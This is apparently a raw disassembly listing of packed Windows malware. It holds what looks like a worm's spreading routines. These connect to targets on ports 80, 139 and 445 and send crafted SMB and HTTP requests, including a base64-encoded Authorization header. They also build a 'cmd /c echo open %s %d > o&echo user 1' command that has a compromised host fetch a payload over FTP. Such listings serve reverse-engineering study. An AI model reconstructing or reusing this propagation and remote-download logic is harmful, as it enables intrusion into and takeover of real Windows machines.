		push	edi
		mov	edi, [ebp+arg_8]
		lea	ebx, [edi+41h]
		push	ebx
		mov	[ebp+var_4], ebx
		call	sub_41BE40
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_40D690
		xor	al, al
		jmp	loc_40D741
; ---------------------------------------------------------------------------

loc_40D690:				; CODE XREF: sub_40D667+20j
		push	ebx
		push	0
		push	esi
		call	sub_41E4B0
		push	2Fh
		push	offset dword_448C00
		push	esi
		call	sub_41FBF0
		push	8
		lea	eax, [esi+31h]
		push	offset dword_448C30
		push	eax
		mov	[esi+2Fh], di
		call	sub_41FBF0
		push	edi
		lea	ebx, [esi+3Bh]
		push	[ebp+arg_4]
		mov	[esi+39h], di
		push	ebx
		call	sub_41FBF0
		push	6
		add	ebx, edi
		push	offset dword_4E5D90
		push	ebx
		call	sub_41FBF0
		push	85h
		push	offset dword_448B78
		push	[ebp+arg_0]
		call	sub_40D622
		add	esp, 48h
		test	al, al
		jnz	short loc_40D6F7

loc_40D6F3:				; CODE XREF: sub_40D667+B8j
		xor	bl, bl
		jmp	short loc_40D738
; ---------------------------------------------------------------------------

loc_40D6F7:				; CODE XREF: sub_40D667+8Aj
		mov	edi, 100h
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	sub_40D5A3
		push	[ebp+var_4]
		push	esi
		push	[ebp+arg_0]
		call	sub_40D622
		add	esp, 1Ch
		test	al, al
		jz	short loc_40D6F3
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	sub_40D5A3
		add	esp, 10h
		mov	bl, 1

loc_40D738:				; CODE XREF: sub_40D667+8Ej
		push	esi
		call	sub_41C9D0
		pop	ecx
		mov	al, bl

loc_40D741:				; CODE XREF: sub_40D667+24j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40D667	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D746	proc near		; CODE XREF: .packed:0040DB5Ap

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	0
		push	48h
		push	offset unk_448C40
		push	[ebp+arg_0]
		call	dword_4F5540	; send
		cmp	eax, 48h
		jnz	short loc_40D781
		push	0
		lea	eax, [ebp+var_20]
		push	20h
		push	eax
		push	[ebp+arg_0]
		call	sub_40D5A3
		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40D781
		cmp	[ebp+var_20], 82h
		jz	short loc_40D785

loc_40D781:				; CODE XREF: sub_40D746+1Bj
					; sub_40D746+33j
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------

loc_40D785:				; CODE XREF: sub_40D746+39j
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D667
		add	esp, 0Ch
		leave
		retn
sub_40D746	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D798	proc near		; CODE XREF: sub_40D7E4+29p

var_10		= qword	ptr -10h
var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_0]
		and	dword ptr [ebp+var_8+4], 0
		shl	eax, 3
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		fmul	dbl_43C478
		call	sub_4201DC
		and	dword ptr [ebp+var_8+4], 0
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		push	ecx
		push	ecx		; double
		fst	[ebp+var_8]
		fmul	dbl_43C470
		fstp	[esp+10h+var_10]
		call	sub_41FFF0
		fadd	st, st
		pop	ecx
		pop	ecx
		fadd	[ebp+var_8]
		call	sub_4201DC
		inc	eax
		leave
		retn
sub_40D798	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D7E4	proc near		; CODE XREF: sub_40D95B+23p

var_44		= qword	ptr -44h

		mov	eax, offset loc_43B82F
		call	sub_420820
		sub	esp, 30h
		push	esi
		lea	eax, [ebp-0Dh]
		push	edi
		xor	esi, esi
		push	eax
		lea	ecx, [ebp-3Ch]
		mov	[ebp-24h], esi
		call	sub_40DBDC
		push	dword ptr [ebp+10h]
		xor	edi, edi
		inc	edi
		mov	[ebp-4], edi
		call	sub_40D798
		pop	ecx
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_40DCE8
		cmp	[ebp+10h], esi
		mov	[ebp-1Ch], esi
		jbe	loc_40D92F
		push	ebx
		mov	ebx, [ebp+10h]

loc_40D82C:				; CODE XREF: sub_40D7E4+144j
		cmp	dword ptr [ebp+10h], 3
		jb	short loc_40D837
		push	3

loc_40D834:				; CODE XREF: sub_40D7E4+5Bj
		pop	ebx
		jmp	short loc_40D848
; ---------------------------------------------------------------------------

loc_40D837:				; CODE XREF: sub_40D7E4+4Cj
		cmp	dword ptr [ebp+10h], 2
		jnz	short loc_40D841
		push	2
		jmp	short loc_40D834
; ---------------------------------------------------------------------------

loc_40D841:				; CODE XREF: sub_40D7E4+57j
		cmp	[ebp+10h], edi
		jnz	short loc_40D848
		mov	ebx, edi

loc_40D848:				; CODE XREF: sub_40D7E4+51j
					; sub_40D7E4+60j
		and	dword ptr [ebp-28h], 0
		mov	[ebp-2Ch], ebx
		fild	qword ptr [ebp-2Ch]
		push	ecx
		push	ecx		; double
		fmul	dbl_43C480
		fstp	[esp+44h+var_44]
		call	sub_420210
		pop	ecx
		pop	ecx
		call	sub_4201DC
		test	ebx, ebx
		mov	[ebp-20h], eax
		jbe	short loc_40D889
		mov	esi, [ebp+0Ch]
		mov	ecx, ebx
		mov	edx, ecx
		lea	edi, [ebp-14h]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		xor	edi, edi
		inc	edi

loc_40D889:				; CODE XREF: sub_40D7E4+8Aj
		mov	cl, [ebp-14h]
		mov	dl, [ebp-14h]
		sar	cl, 2
		and	cl, 3Fh
		and	dl, 3
		mov	[ebp-18h], cl
		mov	cl, [ebp-13h]
		sar	cl, 4
		and	cl, 0Fh
		add	[ebp+0Ch], ebx
		shl	dl, 4
		add	cl, dl
		mov	dl, [ebp-13h]
		mov	[ebp-17h], cl
		mov	cl, [ebp-12h]
		sar	cl, 6
		and	dl, 0Fh
		sub	[ebp+10h], ebx
		and	cl, 3
		xor	esi, esi
		shl	dl, 2
		add	cl, dl
		mov	[ebp-16h], cl
		mov	cl, [ebp-12h]
		and	cl, 3Fh
		test	eax, eax
		mov	[ebp-15h], cl
		jbe	short loc_40D8F6
		add	[ebp-1Ch], eax

loc_40D8DB:				; CODE XREF: sub_40D7E4+110j
		movsx	eax, byte ptr [ebp+esi-18h]
		lea	ecx, [ebp-3Ch]
		mov	al, byte_448C90[eax]
		push	eax
		push	edi
		call	sub_40DC67
		inc	esi
		cmp	esi, [ebp-20h]
		jb	short loc_40D8DB

loc_40D8F6:				; CODE XREF: sub_40D7E4+F2j
		cmp	dword ptr [ebp-1Ch], 48h
		jb	short loc_40D90B
		push	dword ptr [ebp+14h]
		lea	ecx, [ebp-3Ch]
		call	sub_40DC45
		and	dword ptr [ebp-1Ch], 0

loc_40D90B:				; CODE XREF: sub_40D7E4+116j
		push	4
		pop	esi
		cmp	[ebp-20h], esi
		jnb	short loc_40D924
		sub	esi, [ebp-20h]

loc_40D916:				; CODE XREF: sub_40D7E4+13Ej
		push	3Dh
		push	edi
		lea	ecx, [ebp-3Ch]
		call	sub_40DC67
		dec	esi
		jnz	short loc_40D916

loc_40D924:				; CODE XREF: sub_40D7E4+12Dj
		cmp	dword ptr [ebp+10h], 0
		ja	loc_40D82C
		pop	ebx

loc_40D92F:				; CODE XREF: sub_40D7E4+3Ej
		mov	ecx, [ebp+8]
		lea	eax, [ebp-3Ch]
		push	eax
		call	sub_40DBF4
		mov	[ebp-24h], edi
		and	byte ptr [ebp-4], 0
		lea	ecx, [ebp-3Ch]
		call	sub_40DC3D
		mov	ecx, [ebp-0Ch]
		mov	eax, [ebp+8]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn
sub_40D7E4	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D95B	proc near		; CODE XREF: .packed:0040DB3Dp
		mov	eax, offset loc_43B849
		call	sub_420820
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		push	offset word_4E5D9A
		and	dword ptr [ebp-4], 0
		push	dword ptr [ebp+10h]
		lea	eax, [ebp-1Ch]
		push	dword ptr [ebp+0Ch]
		push	eax
		call	sub_40D7E4
		add	esp, 10h
		lea	ecx, [ebp-1Ch]
		mov	byte ptr [ebp-4], 1
		call	sub_40DCE4
		lea	ecx, [ebp+14h]
		mov	esi, eax
		call	sub_40DCE4
		lea	esi, [esi+eax+36h]
		push	esi
		call	sub_41BE40
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_40D9B1
		xor	bl, bl
		jmp	short loc_40D9F0
; ---------------------------------------------------------------------------

loc_40D9B1:				; CODE XREF: sub_40D95B+50j
		lea	ecx, [ebp-1Ch]
		call	sub_40DCD7
		push	eax
		lea	ecx, [ebp+14h]
		call	sub_40DCD7
		push	eax
		push	offset aGetHttp1_0Host ; "GET /	HTTP/1.0\r\nHost: %s\r\nAuthorization"...
		push	esi
		push	edi
		call	sub_41EC30
		add	esp, 14h
		push	0
		push	esi
		push	edi
		push	dword ptr [ebp+8]
		call	dword_4E30D8	; send
		cmp	eax, esi
		jz	short loc_40D9E7
		xor	bl, bl
		jmp	short loc_40D9E9
; ---------------------------------------------------------------------------

loc_40D9E7:				; CODE XREF: sub_40D95B+86j
		mov	bl, 1

loc_40D9E9:				; CODE XREF: sub_40D95B+8Aj
		push	edi
		call	sub_41C9D0
		pop	ecx

loc_40D9F0:				; CODE XREF: sub_40D95B+54j
		and	byte ptr [ebp-4], 0
		lea	ecx, [ebp-1Ch]
		call	sub_40DC3D
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp+14h]
		call	sub_40DC3D
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	al, bl
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_40D95B	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 424h
		and	byte ptr [ebp-424h], 0
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [ebp-423h]
		push	8Fh
		rep stosd
		stosw
		stosb
		lea	eax, [ebp-424h]
		push	offset sub_448E40
		push	eax
		call	sub_41FBF0
		add	esp, 0Ch
		mov	eax, offset byte_43F10C
		push	eax
		push	eax
		movzx	eax, word ptr dword_4E2DC0
		push	eax
		push	dword ptr [ebp+8]
		call	sub_40AEAD
		pop	ecx
		push	eax
		push	offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d > o&echo user 1 "...
		lea	eax, [ebp-395h]
		push	400h
		push	eax
		call	sub_41EC30
		add	eax, 90h
		push	eax
		lea	eax, [ebp-424h]
		push	eax
		push	164h
		lea	eax, [ebp-8]
		push	offset sub_448CD8
		push	eax
		call	sub_40D24D
		xor	ebx, ebx
		add	esp, 30h
		cmp	[ebp-4], ebx
		jnz	short loc_40DAB7
		xor	eax, eax
		jmp	loc_40DBC1
; ---------------------------------------------------------------------------

loc_40DAB7:				; CODE XREF: .packed:0040DAAEj
		mov	[ebp-0Ch], ebx

loc_40DABA:				; CODE XREF: .packed:0040DB9Cj
		test	ebx, ebx
		jnz	loc_40DBA2
		push	6
		push	1
		push	2
		call	dword_4F553C	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	loc_40DB8A
		xor	eax, eax
		lea	edi, [ebp-1Eh]
		stosd
		push	dword ptr [ebp+0A8h]
		stosd
		stosd
		stosw
		mov	word ptr [ebp-20h], 2
		call	dword_4E3088	; htons
		mov	[ebp-1Eh], ax
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_4E30C8	; inet_addr
		mov	[ebp-1Ch], eax
		lea	eax, [ebp-20h]
		push	10h
		push	eax
		push	esi
		call	dword_4E3030	; connect
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40DB7F
		cmp	dword ptr [ebp+0A8h], 50h
		jnz	short loc_40DB47
		sub	esp, 10h
		lea	eax, [ebp-0Dh]
		mov	ecx, esp
		mov	[ebp-24h], esp
		push	eax
		lea	eax, [ebp+0Ch]
		push	eax
		call	sub_40DC1A
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	esi
		call	sub_40D95B
		add	esp, 1Ch
		jmp	short loc_40DB7C
; ---------------------------------------------------------------------------

loc_40DB47:				; CODE XREF: .packed:0040DB1Fj
		cmp	dword ptr [ebp+0A8h], 8Bh
		jnz	short loc_40DB61
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	esi
		call	sub_40D746
		jmp	short loc_40DB79
; ---------------------------------------------------------------------------

loc_40DB61:				; CODE XREF: .packed:0040DB51j
		cmp	dword ptr [ebp+0A8h], 1BDh
		jnz	short loc_40DB7F
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	esi
		call	sub_40D667

loc_40DB79:				; CODE XREF: .packed:0040DB5Fj
		add	esp, 0Ch

loc_40DB7C:				; CODE XREF: .packed:0040DB45j
		movzx	ebx, al

loc_40DB7F:				; CODE XREF: .packed:0040DB16j
					; .packed:0040DB6Bj
		push	esi
		call	dword_4E3120	; closesocket
		test	ebx, ebx
		jnz	short loc_40DB95

loc_40DB8A:				; CODE XREF: .packed:0040DAD3j
		push	3E8h
		call	dword_4F534C	; Sleep

loc_40DB95:				; CODE XREF: .packed:0040DB88j
		inc	dword ptr [ebp-0Ch]
		cmp	dword ptr [ebp-0Ch], 2
		jl	loc_40DABA

loc_40DBA2:				; CODE XREF: .packed:0040DABCj
		lea	ecx, [ebp-8]
		call	sub_40D07A
		test	ebx, ebx
		jz	short loc_40DBBF
		mov	eax, [ebp+0B0h]
		shl	eax, 6
		lea	eax, dword_448218[eax]
		inc	dword ptr [eax]

loc_40DBBF:				; CODE XREF: .packed:0040DBACj
		mov	eax, ebx

loc_40DBC1:				; CODE XREF: .packed:0040DAB2j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_40DBC6:				; DATA XREF: .packed:0043F008o
		call	sub_40E188
		jmp	$+5
		push	offset nullsub_1
		call	sub_420D10
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40DBDC	proc near		; CODE XREF: sub_40D7E4+1Bp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	al, [eax]
		mov	[esi], al
		call	sub_40DF46
		mov	eax, esi
		pop	esi
		retn	4
sub_40DBDC	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DBF4	proc near		; CODE XREF: sub_40D7E4+152p
					; sub_43A4C0+3Cp ...

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		push	0
		mov	al, [edi]
		mov	[esi], al
		call	sub_40DF46
		push	0FFFFFFFFh
		push	0
		push	edi
		mov	ecx, esi
		call	sub_40DD57
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_40DBF4	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DC1A	proc near		; CODE XREF: .packed:0040DB31p
					; sub_43A460+27p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, ecx
		push	0
		mov	al, [eax]
		mov	[esi], al
		call	sub_40DF46
		push	[esp+4+arg_0]
		mov	ecx, esi
		call	sub_40DE4D
		mov	eax, esi
		pop	esi
		retn	8
sub_40DC1A	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DC3D	proc near		; CODE XREF: sub_40D7E4+161p
					; sub_40D95B+9Cp ...
		push	1
		call	sub_40DF46
		retn
sub_40DC3D	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DC45	proc near		; CODE XREF: sub_40D7E4+11Ep

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		call	sub_40DC62
		pop	ecx
		push	eax
		mov	ecx, esi
		push	[esp+8+arg_0]
		call	sub_40DCFC
		pop	esi
		retn	4
sub_40DC45	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40DC62	proc near		; CODE XREF: sub_40DC45+7p
					; sub_40DE4D+7p
		jmp	sub_41BC70
sub_40DC62	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DC67	proc near		; CODE XREF: sub_40D7E4+107p
					; sub_40D7E4+138p

arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, ecx
		or	eax, 0FFFFFFFFh
		push	edi
		sub	eax, [esi+8]
		cmp	eax, [ebp+arg_0]
		ja	short loc_40DC7E
		call	sub_43A460

loc_40DC7E:				; CODE XREF: sub_40DC67+10j
		cmp	[ebp+arg_0], 0
		jbe	short loc_40DCB6
		mov	edi, [esi+8]
		push	0
		add	edi, [ebp+arg_0]
		mov	ecx, esi
		push	edi
		call	sub_40DE9A
		test	al, al
		jz	short loc_40DCB6
		lea	eax, [ebp+arg_4]
		push	eax
		mov	eax, [esi+4]
		push	[ebp+arg_0]
		add	eax, [esi+8]
		push	eax
		call	sub_40DCBE
		add	esp, 0Ch
		mov	ecx, esi
		push	edi
		call	sub_40DE6A

loc_40DCB6:				; CODE XREF: sub_40DC67+1Bj
					; sub_40DC67+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		retn	8
sub_40DC67	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DCBE	proc near		; CODE XREF: sub_40DC67+3Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_8]
		push	[esp+arg_4]
		movsx	eax, byte ptr [eax]
		push	eax
		push	[esp+8+arg_0]
		call	sub_41E4B0
		add	esp, 0Ch
		retn
sub_40DCBE	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DCD7	proc near		; CODE XREF: sub_40D95B+59p
					; sub_40D95B+62p ...

; FUNCTION CHUNK AT 0040DF40 SIZE 00000006 BYTES

		mov	eax, [ecx+4]
		test	eax, eax
		jnz	short locret_40DCE3
		jmp	loc_40DF40
; ---------------------------------------------------------------------------

locret_40DCE3:				; CODE XREF: sub_40DCD7+5j
		retn
sub_40DCD7	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DCE4	proc near		; CODE XREF: sub_40D95B+32p
					; sub_40D95B+3Cp
		mov	eax, [ecx+8]
		retn
sub_40DCE4	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DCE8	proc near		; CODE XREF: sub_40D7E4+33p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	[ecx+0Ch], eax
		jnb	short locret_40DCF9
		push	0
		push	eax
		call	sub_40DE9A

locret_40DCF9:				; CODE XREF: sub_40DCE8+7j
		retn	4
sub_40DCE8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DCFC	proc near		; CODE XREF: sub_40DC45+14p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, ecx
		or	eax, 0FFFFFFFFh
		push	edi
		sub	eax, [esi+8]
		cmp	eax, [ebp+arg_4]
		ja	short loc_40DD13
		call	sub_43A460

loc_40DD13:				; CODE XREF: sub_40DCFC+10j
		cmp	[ebp+arg_4], 0
		jbe	short loc_40DD4A
		mov	edi, [esi+8]
		push	0
		add	edi, [ebp+arg_4]
		mov	ecx, esi
		push	edi
		call	sub_40DE9A
		test	al, al
		jz	short loc_40DD4A
		push	[ebp+arg_4]
		mov	eax, [esi+4]
		add	eax, [esi+8]
		push	[ebp+arg_0]
		push	eax
		call	sub_40DD52
		add	esp, 0Ch
		mov	ecx, esi
		push	edi
		call	sub_40DE6A

loc_40DD4A:				; CODE XREF: sub_40DCFC+1Bj
					; sub_40DCFC+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		retn	8
sub_40DCFC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40DD52	proc near		; CODE XREF: sub_40DCFC+3Ep
					; sub_40DD57+D9p ...
		jmp	sub_41FBF0
sub_40DD52	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DD57	proc near		; CODE XREF: sub_40DBF4+1Ap

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, ecx
		mov	ecx, [ebp+arg_0]
		push	edi
		call	sub_40DE49
		mov	ebx, [ebp+arg_4]
		cmp	eax, ebx
		jnb	short loc_40DD73
		call	sub_43A760

loc_40DD73:				; CODE XREF: sub_40DD57+15j
		mov	ecx, [ebp+arg_0]
		call	sub_40DE49
		mov	edi, eax
		sub	edi, ebx
		cmp	[ebp+arg_8], edi
		jnb	short loc_40DD87
		mov	edi, [ebp+arg_8]

loc_40DD87:				; CODE XREF: sub_40DD57+2Bj
		mov	ecx, [ebp+arg_0]
		cmp	esi, ecx
		jnz	short loc_40DDA9
		add	edi, ebx
		push	0FFFFFFFFh
		push	edi
		mov	ecx, esi
		call	sub_40DFD6
		push	ebx
		push	0
		mov	ecx, esi
		call	sub_40DFD6
		jmp	loc_40DE40
; ---------------------------------------------------------------------------

loc_40DDA9:				; CODE XREF: sub_40DD57+35j
		test	edi, edi
		jbe	short loc_40DE12
		call	sub_40DE49
		cmp	edi, eax
		jnz	short loc_40DE12
		mov	ecx, [ebp+arg_0]
		call	sub_40DCD7
		push	eax
		mov	ecx, esi
		call	sub_40E11B
		cmp	byte ptr [eax],	0FEh
		jnb	short loc_40DE12
		push	[ebp+arg_0]
		push	esi
		call	sub_40E173
		pop	ecx
		test	al, al
		pop	ecx
		jz	short loc_40DE12
		push	1
		mov	ecx, esi
		call	sub_40DF46
		mov	ecx, [ebp+arg_0]
		call	sub_40DCD7
		mov	ecx, [ebp+arg_0]
		mov	[esi+4], eax
		call	sub_40DE49
		mov	ecx, [ebp+arg_0]
		mov	[esi+8], eax
		call	sub_40E052
		push	dword ptr [esi+4]
		mov	ecx, esi
		mov	[esi+0Ch], eax
		call	sub_40E11B
		inc	byte ptr [eax]
		jmp	short loc_40DE40
; ---------------------------------------------------------------------------

loc_40DE12:				; CODE XREF: sub_40DD57+54j
					; sub_40DD57+5Dj ...
		push	1
		push	edi
		mov	ecx, esi
		call	sub_40DE9A
		test	al, al
		jz	short loc_40DE40
		mov	ecx, [ebp+arg_0]
		push	edi
		call	sub_40DCD7
		add	eax, [ebp+arg_4]
		push	eax
		push	dword ptr [esi+4]
		call	sub_40DD52
		add	esp, 0Ch
		mov	ecx, esi
		push	edi
		call	sub_40DE6A

loc_40DE40:				; CODE XREF: sub_40DD57+4Dj
					; sub_40DD57+B9j ...
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	0Ch
sub_40DD57	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DE49	proc near		; CODE XREF: sub_40DD57+Bp
					; sub_40DD57+1Fp ...
		mov	eax, [ecx+8]
		retn
sub_40DE49	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DE4D	proc near		; CODE XREF: sub_40DC1A+18p
					; sub_40E130+27p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		call	sub_40DC62
		pop	ecx
		push	eax
		mov	ecx, esi
		push	[esp+8+arg_0]
		call	sub_40DFA0
		pop	esi
		retn	4
sub_40DE4D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DE6A	proc near		; CODE XREF: sub_40DC67+4Ap
					; sub_40DCFC+49p ...

var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		and	[ebp+var_1], 0
		mov	[ecx+8], eax
		mov	ecx, [ecx+4]
		lea	edx, [ebp+var_1]
		add	ecx, eax
		push	edx
		push	ecx
		call	sub_40DE8D
		pop	ecx
		pop	ecx
		leave
		retn	4
sub_40DE6A	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DE8D	proc near		; CODE XREF: sub_40DE6A+18p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		mov	al, [eax]
		mov	[ecx], al
		retn
sub_40DE8D	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DE9A	proc near		; CODE XREF: sub_40DC67+28p
					; sub_40DCE8+Cp ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	ebx
		push	esi
		push	edi
		mov	esi, ecx
		call	sub_40E040
		mov	edi, [esp+0Ch+arg_0]
		cmp	eax, edi
		jnb	short loc_40DEB1
		call	sub_43A460

loc_40DEB1:				; CODE XREF: sub_40DE9A+10j
		mov	eax, [esi+4]
		xor	ebx, ebx
		cmp	eax, ebx
		jz	short loc_40DEF1
		push	eax
		mov	ecx, esi
		call	sub_40E11B
		cmp	[eax], bl
		jz	short loc_40DEF1
		push	dword ptr [esi+4]
		mov	ecx, esi
		call	sub_40E11B
		cmp	byte ptr [eax],	0FFh
		jz	short loc_40DEF1
		cmp	edi, ebx
		mov	ecx, esi
		jnz	short loc_40DF32
		push	dword ptr [esi+4]
		call	sub_40E11B
		dec	byte ptr [eax]
		push	ebx

loc_40DEE6:				; CODE XREF: sub_40DE9A+63j
		mov	ecx, esi
		call	sub_40DF46

loc_40DEED:				; CODE XREF: sub_40DE9A+68j
					; sub_40DE9A+72j
		xor	al, al
		jmp	short loc_40DF3A
; ---------------------------------------------------------------------------

loc_40DEF1:				; CODE XREF: sub_40DE9A+1Ej
					; sub_40DE9A+2Aj ...
		cmp	edi, ebx
		jnz	short loc_40DF0E
		cmp	[esp+0Ch+arg_4], bl
		jz	short loc_40DEFF
		push	1
		jmp	short loc_40DEE6
; ---------------------------------------------------------------------------

loc_40DEFF:				; CODE XREF: sub_40DE9A+5Fj
		cmp	[esi+4], ebx
		jz	short loc_40DEED
		push	ebx
		mov	ecx, esi
		call	sub_40DE6A
		jmp	short loc_40DEED
; ---------------------------------------------------------------------------

loc_40DF0E:				; CODE XREF: sub_40DE9A+59j
		cmp	[esp+0Ch+arg_4], bl
		jz	short loc_40DF2B
		mov	eax, [esi+0Ch]
		cmp	eax, 1Fh
		ja	short loc_40DF20
		cmp	eax, edi
		jnb	short loc_40DF38

loc_40DF20:				; CODE XREF: sub_40DE9A+80j
		push	1
		mov	ecx, esi
		call	sub_40DF46
		jmp	short loc_40DF30
; ---------------------------------------------------------------------------

loc_40DF2B:				; CODE XREF: sub_40DE9A+78j
		cmp	[esi+0Ch], edi
		jnb	short loc_40DF38

loc_40DF30:				; CODE XREF: sub_40DE9A+8Fj
		mov	ecx, esi

loc_40DF32:				; CODE XREF: sub_40DE9A+3Fj
		push	edi
		call	sub_40E056

loc_40DF38:				; CODE XREF: sub_40DE9A+84j
					; sub_40DE9A+94j
		mov	al, 1

loc_40DF3A:				; CODE XREF: sub_40DE9A+55j
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40DE9A	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40DCD7

loc_40DF40:				; CODE XREF: sub_40DCD7+7j
		mov	eax, offset dword_43C488
		retn
; END OF FUNCTION CHUNK	FOR sub_40DCD7

; =============== S U B	R O U T	I N E =======================================



sub_40DF46	proc near		; CODE XREF: sub_40DBDC+Dp
					; sub_40DBF4+Ep ...

arg_0		= byte ptr  4

		push	ebx
		xor	ebx, ebx
		cmp	[esp+4+arg_0], bl
		push	esi
		mov	esi, ecx
		jz	short loc_40DF92
		mov	eax, [esi+4]
		cmp	eax, ebx
		jz	short loc_40DF92
		push	eax
		call	sub_40E11B
		cmp	[eax], bl
		jz	short loc_40DF80
		push	dword ptr [esi+4]
		mov	ecx, esi
		call	sub_40E11B
		cmp	byte ptr [eax],	0FFh
		jz	short loc_40DF80
		push	dword ptr [esi+4]
		mov	ecx, esi
		call	sub_40E11B
		dec	byte ptr [eax]
		jmp	short loc_40DF92
; ---------------------------------------------------------------------------

loc_40DF80:				; CODE XREF: sub_40DF46+1Bj
					; sub_40DF46+2Aj
		mov	eax, [esi+0Ch]
		mov	ecx, esi
		inc	eax
		inc	eax
		push	eax
		mov	eax, [esi+4]
		dec	eax
		push	eax
		call	sub_40E123

loc_40DF92:				; CODE XREF: sub_40DF46+Aj
					; sub_40DF46+11j ...
		mov	[esi+4], ebx
		mov	[esi+8], ebx
		mov	[esi+0Ch], ebx
		pop	esi
		pop	ebx
		retn	4
sub_40DF46	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DFA0	proc near		; CODE XREF: sub_40DE4D+14p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		push	[esp+8+arg_4]
		mov	esi, ecx
		call	sub_40DE9A
		test	al, al
		jz	short loc_40DFD0
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		push	dword ptr [esi+4]
		call	sub_40DD52
		add	esp, 0Ch
		mov	ecx, esi
		push	[esp+4+arg_4]
		call	sub_40DE6A

loc_40DFD0:				; CODE XREF: sub_40DFA0+10j
		mov	eax, esi
		pop	esi
		retn	8
sub_40DFA0	endp


